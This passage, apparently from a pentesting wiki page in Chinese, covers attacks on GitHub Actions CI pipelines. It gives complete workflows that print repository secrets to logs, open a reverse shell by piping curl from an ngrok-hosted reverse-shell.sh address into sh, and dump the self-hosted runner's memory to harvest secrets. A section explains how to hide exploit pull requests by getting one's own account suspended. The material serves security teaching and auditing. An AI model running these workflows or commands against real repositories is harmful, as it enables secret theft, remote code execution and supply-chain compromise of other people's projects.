","base":"master", "title":"title"}'
```
{{#endtab }}
{{#endtabs }}
> [!CAUTION]
> 请注意,在多个场合中,您可能会在 **Github Actions 的环境变量或秘密中找到 github 用户令牌**。这些令牌可能会让您对仓库和组织拥有更多权限。
列出 Github Action 输出中的秘密
```yaml
name: list_env
on:
workflow_dispatch: # Launch manually
pull_request: #Run it when a PR is created to a branch
branches:
- "**"
push: # Run it when a push is made to a branch
branches:
- "**"
jobs:
List_env:
runs-on: ubuntu-latest
steps:
- name: List Env
# Need to base64 encode or github will change the secret value for "***"
run: sh -c 'env | grep "secret_" | base64 -w0'
env:
secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}
secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
```
通过秘密获取反向 shell
```yaml
name: revshell
on:
workflow_dispatch: # Launch manually
pull_request: #Run it when a PR is created to a branch
branches:
- "**"
push: # Run it when a push is made to a branch
branches:
- "**"
jobs:
create_pull_request:
runs-on: ubuntu-latest
steps:
- name: Get Rev Shell
run: sh -c 'curl https://reverse-shell.sh/2.tcp.ngrok.io:15217 | sh'
env:
secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}
secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
```
可以通过**检查日志**来查看其他用户仓库中给予Github Token的权限:
## 允许的执行
> [!NOTE]
> 这是妥协Github actions的最简单方法,因为这种情况假设您有**在组织中创建新仓库的权限**,或对某个仓库有**写权限**。
>
> 如果您处于这种情况,您可以直接查看[Post Exploitation techniques](#post-exploitation-techniques-from-inside-an-action)。
### 从仓库创建执行
如果组织的成员可以**创建新仓库**并且您可以执行github actions,您可以**创建一个新仓库并窃取在组织级别设置的秘密**。
### 从新分支执行
如果您可以**在已经配置了Github Action的仓库中创建新分支**,您可以**修改**它,**上传**内容,然后**从新分支执行该操作**。这样您可以**提取仓库和组织级别的秘密**(但您需要知道它们的名称)。
您可以在**手动**时使修改后的操作可执行,当**PR被创建**或**某些代码被推送**时(具体取决于您想要多吵闹):
```yaml
on:
workflow_dispatch: # Launch manually
pull_request: #Run it when a PR is created to a branch
branches:
- master
push: # Run it when a push is made to a branch
branches:
- current_branch_name
# Use '**' instead of a branh name to trigger the action in all the cranches
```
---
## Forked Execution
> [!NOTE]
> 有不同的触发器可以让攻击者**执行另一个仓库的Github Action**。如果这些可触发的操作配置不当,攻击者可能会利用它们。
### `pull_request`
工作流触发器**`pull_request`**将在每次收到拉取请求时执行工作流,但有一些例外:默认情况下,如果这是您**第一次**进行**协作**,某些**维护者**需要**批准**工作流的**运行**:
> [!NOTE]
> 由于**默认限制**适用于**首次**贡献者,您可以通过**修复有效的错误/拼写错误**来贡献,然后发送**其他PR以滥用您新的`pull_request`权限**。
>
> **我测试过,这不管用**:~~另一个选项是创建一个与曾经为该项目贡献的人同名的账户,然后删除他的账户。~~
此外,默认情况下**防止写权限**和**对目标仓库的秘密访问**,如[**文档**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflows-in-forked-repositories)中所述:
> 除了`GITHUB_TOKEN`,**在从**forked**仓库触发工作流时,**秘密不会传递给运行器**。在**forked**仓库的拉取请求中,**`GITHUB_TOKEN`具有只读权限**。
攻击者可以修改Github Action的定义,以执行任意操作并附加任意操作。然而,由于上述限制,他将无法窃取秘密或覆盖仓库。
> [!CAUTION]
> **是的,如果攻击者在PR中更改将被触发的github action,他的Github Action将被使用,而不是源仓库的!**
由于攻击者还控制着被执行的代码,即使`GITHUB_TOKEN`上没有秘密或写权限,攻击者也可以例如**上传恶意工件**。
### **`pull_request_target`**
工作流触发器**`pull_request_target`**对目标仓库具有**写权限**和**访问秘密**(并且不需要请求权限)。
请注意,工作流触发器**`pull_request_target`**在**基础上下文**中运行,而不是在PR提供的上下文中(以**不执行不受信任的代码**)。有关`pull_request_target`的更多信息,请[**查看文档**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#pull_request_target)。\
此外,关于这种特定危险用法的更多信息,请查看这篇[**github博客文章**](https://securitylab.github.com/research/github-actions-preventing-pwn-requests/)。
看起来因为**执行的工作流**是定义在**基础**中的,而不是在PR中,所以使用**`pull_request_target`**是**安全的**,但有**少数情况是这样**。
而且这个将具有**访问秘密**的权限。
### `workflow_run`
[**workflow_run**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflow_run)触发器允许在不同的工作流`完成`、`请求`或`进行中`时运行工作流。
在这个例子中,配置了一个工作流,在单独的“运行测试”工作流完成后运行:
```yaml
on:
workflow_run:
workflows: [Run Tests]
types:
- completed
```
此外,根据文档:由 `workflow_run` 事件启动的工作流能够 **访问机密和写入令牌,即使之前的工作流没有**。
如果这种工作流 **依赖** 于可以通过 **`pull_request`** 或 **`pull_request_target`** 由外部用户 **触发** 的 **工作流**,则可能会受到攻击。一些脆弱的示例可以在 [**这篇博客中找到**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability)**.** 第一个示例是 **`workflow_run`** 触发的工作流下载攻击者的代码:`${{ github.event.pull_request.head.sha }}`\
第二个示例是 **将** 一个 **工件** 从 **不受信任** 的代码传递到 **`workflow_run`** 工作流,并以使其 **易受 RCE 攻击** 的方式使用该工件的内容。
### `workflow_call`
TODO
TODO:检查从 pull_request 执行时使用/下载的代码是否来自原始代码库或来自分叉的 PR
## 滥用分叉执行
我们已经提到外部攻击者可以管理 GitHub 工作流执行的所有方式,现在让我们看看如果这些执行配置不当,可能会如何被滥用:
### 不受信任的检出执行
在 **`pull_request`** 的情况下,工作流将在 **PR 的上下文中** 执行(因此它将执行 **恶意 PR 的代码**),但需要有人 **首先授权**,并且它将运行时有一些 [限制](#pull_request)。
在使用 **`pull_request_target` 或 `workflow_run`** 的工作流中,如果依赖于可以从 **`pull_request_target` 或 `pull_request`** 触发的工作流,则将执行原始代码库中的代码,因此 **攻击者无法控制执行的代码**。
> [!CAUTION]
> 但是,如果 **action** 有一个 **显式的 PR 检出**,将 **从 PR 获取代码**(而不是从基础),它将使用攻击者控制的代码。例如(检查第 12 行,其中下载了 PR 代码):
# 不安全。仅作为示例提供。
on:
pull_request_target
jobs:
build:
name: Build and test
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v2
with:
ref: ${{ github.event.pull_request.head.sha }}
- uses: actions/setup-node@v1
- run: |
npm install
npm build
- uses: completely/fakeaction@v2
with:
arg1: ${{ secrets.supersecret }}
- uses: fakerepo/comment-on-pr@v1
with:
message: |
Thank you!
潜在的 **不受信任的代码在 `npm install` 或 `npm build` 期间运行**,因为构建脚本和引用的 **包由 PR 的作者控制**。
> [!WARNING]
> 搜索脆弱 actions 的 GitHub dork 是:`event.pull_request pull_request_target extension:yml`,但是,即使 action 配置不安全,也有不同的方法可以安全地配置要执行的作业(例如,使用关于谁是生成 PR 的参与者的条件)。
### 上下文脚本注入
请注意,有某些 [**GitHub 上下文**](https://docs.github.com/en/actions/reference/context-and-expression-syntax-for-github-actions#github-context) 的值是由创建 PR 的 **用户** **控制** 的。如果 GitHub action 使用该 **数据执行任何操作**,则可能导致 **任意代码执行:**
{{#ref}}
gh-actions-context-script-injections.md
{{#endref}}
### **GITHUB_ENV 脚本注入**
根据文档:您可以通过定义或更新环境变量并将其写入 **`GITHUB_ENV`** 环境文件,使 **环境变量可用于工作流作业中的任何后续步骤**。
如果攻击者能够 **注入任何值** 到这个 **env** 变量中,他可以注入可以在后续步骤中执行代码的环境变量,例如 **LD_PRELOAD** 或 **NODE_OPTIONS**。
例如([**这个**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability-0) 和 [**这个**](https://www.legitsecurity.com/blog/-how-we-found-another-github-action-environment-injection-vulnerability-in-a-google-project)),想象一个工作流信任上传的工件将其内容存储在 **`GITHUB_ENV`** 环境变量中。攻击者可以上传类似这样的内容来破坏它:
### 脆弱的第三方 GitHub Actions
#### [dawidd6/action-download-artifact](https://github.com/dawidd6/action-download-artifact)
正如在 [**这篇博客文章**](https://www.legitsecurity.com/blog/github-actions-that-open-the-door-to-cicd-pipeline-attacks) 中提到的,这个 GitHub Action 允许访问来自不同工作流甚至不同代码库的工件。
问题在于,如果 **`path`** 参数未设置,工件将提取到当前目录中,并且可能会覆盖后续在工作流中使用或执行的文件。因此,如果工件存在漏洞,攻击者可以利用这一点来破坏其他信任该工件的工作流。
脆弱工作流的示例:
```yaml
on:
workflow_run:
workflows: ["some workflow"]
types:
- completed
jobs:
success:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v2
- name: download artifact
uses: dawidd6/action-download-artifact
with:
workflow: ${{ github.event.workflow_run.workflow_id }}
name: artifact
- run: python ./script.py
with:
name: artifact
path: ./script.py
```
这可以通过以下工作流程进行攻击:
```yaml
name: "some workflow"
on: pull_request
jobs:
upload:
runs-on: ubuntu-latest
steps:
- run: echo "print('exploited')" > ./script.py
- uses actions/upload-artifact@v2
with:
name: artifact
path: ./script.py
```
---
## 其他外部访问
### 删除的命名空间仓库劫持
如果一个账户更改了名称,其他用户在一段时间后可以注册一个相同名称的账户。如果一个仓库在更改名称之前的**星标少于100个**,Github将允许新注册的用户使用相同的名称创建一个**与被删除的仓库同名的仓库**。
> [!CAUTION]
> 因此,如果一个操作使用来自不存在账户的仓库,攻击者仍然有可能创建该账户并妥协该操作。
如果其他仓库使用了**该用户仓库的依赖项**,攻击者将能够劫持它们。这里有一个更完整的解释:[https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/](https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/)
---
## 仓库转移
> [!NOTE]
> 在本节中,我们将讨论允许**从一个仓库转移到另一个仓库**的技术,假设我们在第一个仓库上有某种访问权限(请查看前一节)。
### 缓存中毒
在**同一分支的工作流运行之间**维护一个缓存。这意味着如果攻击者**妥协**了一个**包**,然后将其存储在缓存中,并被**更高权限**的工作流**下载**和执行,他将能够**妥协**该工作流。
{{#ref}}
gh-actions-cache-poisoning.md
{{#endref}}
### 工件中毒
工作流可以使用**来自其他工作流甚至仓库的工件**,如果攻击者设法**妥协**了上传工件的Github Action,而该工件随后被另一个工作流使用,他可以**妥协其他工作流**:
{{#ref}}
gh-actions-artifact-poisoning.md
{{#endref}}
---
## 从操作后的利用
### 通过OIDC访问AWS和GCP
查看以下页面:
{{#ref}}
../../../pentesting-cloud/aws-security/aws-basic-information/aws-federation-abuse.md
{{#endref}}
{{#ref}}
../../../pentesting-cloud/gcp-security/gcp-basic-information/gcp-federation-abuse.md
{{#endref}}
### 访问秘密
如果您正在向脚本中注入内容,了解如何访问秘密是很有趣的:
- 如果秘密或令牌被设置为**环境变量**,可以通过环境直接使用**`printenv`**访问。
在Github Action输出中列出秘密
```yaml
name: list_env
on:
workflow_dispatch: # Launch manually
pull_request: #Run it when a PR is created to a branch
branches:
- '**'
push: # Run it when a push is made to a branch
branches:
- '**'
jobs:
List_env:
runs-on: ubuntu-latest
steps:
- name: List Env
# Need to base64 encode or github will change the secret value for "***"
run: sh -c 'env | grep "secret_" | base64 -w0'
env:
secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}
secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
```
通过秘密获取反向 shell
```yaml
name: revshell
on:
workflow_dispatch: # Launch manually
pull_request: #Run it when a PR is created to a branch
branches:
- "**"
push: # Run it when a push is made to a branch
branches:
- "**"
jobs:
create_pull_request:
runs-on: ubuntu-latest
steps:
- name: Get Rev Shell
run: sh -c 'curl https://reverse-shell.sh/2.tcp.ngrok.io:15217 | sh'
env:
secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}
secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
```
- 如果秘密**直接在表达式中使用**,生成的 shell 脚本将存储在**磁盘上**并可访问。
- ```bash
cat /home/runner/work/_temp/*
```
- 对于 JavaScript actions,秘密通过环境变量发送
- ```bash
ps axe | grep node
```
- 对于**自定义操作**,风险可能会有所不同,具体取决于程序如何使用从**参数**中获得的秘密:
```yaml
uses: fakeaction/publish@v3
with:
key: ${{ secrets.PUBLISH_KEY }}
```
### 滥用自托管运行器
查找**在非 GitHub 基础设施中执行的 Github Actions**的方法是搜索 Github Action 配置 yaml 中的**`runs-on: self-hosted`**。
**自托管**运行器可能访问**额外的敏感信息**,访问其他**网络系统**(网络中的脆弱端点?元数据服务?)或者,即使它是隔离和销毁的,**可能会同时运行多个操作**,恶意操作可能会**窃取其他操作的秘密**。
在自托管运行器中,还可以通过转储其内存来获取**来自 \_Runner.Listener**\_\*\* 进程\*\* 的**秘密**,该进程将在任何步骤中包含工作流的所有秘密:
```bash
sudo apt-get install -y gdb
sudo gcore -o k.dump "$(ps ax | grep 'Runner.Listener' | head -n 1 | awk '{ print $1 }')"
```
检查[**此帖子以获取更多信息**](https://karimrahal.com/2023/01/05/github-actions-leaking-secrets/)。
### Github Docker 镜像注册表
可以创建 Github actions 来 **在 Github 内部构建和存储 Docker 镜像**。\
以下可找到一个示例:
Github Action 构建和推送 Docker 镜像
```yaml
[...]
- name: Set up Docker Buildx
uses: docker/setup-buildx-action@v1
- name: Login to GitHub Container Registry
uses: docker/login-action@v1
with:
registry: ghcr.io
username: ${{ github.repository_owner }}
password: ${{ secrets.ACTIONS_TOKEN }}
- name: Add Github Token to Dockerfile to be able to download code
run: |
sed -i -e 's/TOKEN=##VALUE##/TOKEN=${{ secrets.ACTIONS_TOKEN }}/g' Dockerfile
- name: Build and push
uses: docker/build-push-action@v2
with:
context: .
push: true
tags: |
ghcr.io/${{ github.repository_owner }}/${{ github.event.repository.name }}:latest
ghcr.io/${{ github.repository_owner }}/${{ github.event.repository.name }}:${{ env.GITHUB_NEWXREF }}-${{ github.sha }}
[...]
```
正如您在之前的代码中看到的,Github 注册表托管在 **`ghcr.io`**。
具有对仓库的读取权限的用户将能够使用个人访问令牌下载 Docker 镜像:
```bash
echo $gh_token | docker login ghcr.io -u --password-stdin
docker pull ghcr.io//:
```
然后,用户可以搜索 **Docker 镜像层中的泄露秘密:**
{{#ref}}
https://book.hacktricks.wiki/en/generic-methodologies-and-resources/basic-forensic-methodology/docker-forensics.html
{{#endref}}
### Github Actions 日志中的敏感信息
即使 **Github** 尝试 **检测日志中的秘密值** 并 **避免显示** 它们,**其他敏感数据** 在执行操作时生成的内容仍然不会被隐藏。例如,使用秘密值签名的 JWT 除非 [特别配置](https://github.com/actions/toolkit/tree/main/packages/core#setting-a-secret),否则不会被隐藏。
## 掩盖你的痕迹
(来自 [**这里**](https://divyanshu-mehta.gitbook.io/researchs/hijacking-cloud-ci-cd-systems-for-fun-and-profit) 的技术)首先,任何提出的 PR 在 Github 上对公众和目标 GitHub 账户都是明显可见的。在 GitHub 中,默认情况下,我们 **无法删除互联网上的 PR**,但有一个变数。对于被 Github **暂停** 的 GitHub 账户,所有的 **PR 会被自动删除** 并从互联网上移除。因此,为了隐藏你的活动,你需要让你的 **GitHub 账户被暂停或被标记**。这将 **隐藏你在 GitHub 上的所有活动**(基本上移除你所有的利用 PR)
GitHub 中的一个组织非常积极地向 GitHub 举报账户。你所需要做的就是在 Issue 中分享“某些东西”,他们会确保你的账户在 12 小时内被暂停 :p 这样你就可以让你的利用在 GitHub 上变得不可见。
> [!WARNING]
> 组织发现自己被针对的唯一方法是通过 SIEM 检查 GitHub 日志,因为从 GitHub UI 中 PR 会被移除。
## 工具
以下工具对于查找 GitHub Action 工作流甚至找到易受攻击的工作流非常有用:
- [https://github.com/CycodeLabs/raven](https://github.com/CycodeLabs/raven)
- [https://github.com/praetorian-inc/gato](https://github.com/praetorian-inc/gato)
- [https://github.com/AdnaneKhan/Gato-X](https://github.com/AdnaneKhan/Gato-X)
- [https://github.com/carlospolop/PurplePanda](https://github.com/carlospolop/PurplePanda)
{{#include ../../../banners/hacktricks-training.md}}